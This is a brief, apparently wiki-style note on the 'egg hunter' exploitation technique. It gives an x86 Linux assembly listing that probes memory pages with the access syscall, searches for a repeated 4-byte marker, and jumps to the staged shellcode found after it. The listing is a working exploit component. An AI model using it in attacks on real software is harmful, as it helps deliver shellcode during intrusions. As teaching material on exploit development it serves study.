egg hunter
Egg Hunter
基本原理
代码
_start:
xor ecx, ecx
mul ecx
next_page:
or dx, 0xfff // 4kb=0x1000
inc edx
lea ebx, [edx]
xor eax, eax
mov al, 0x21
int 0x80 // call access
cmp al, 0xf2
jz next_page
call here
.string "\x31\x31\x31\x31" // compare sign
here:
pop eax
mov eax, [eax]
mov edi, edx
scasd
// scasd eax,DWORD PTR es:[edi] -> edi+4
jnz next_page
scasd
jnz next_page // repeat compare sign
find:
jmp ediLast updated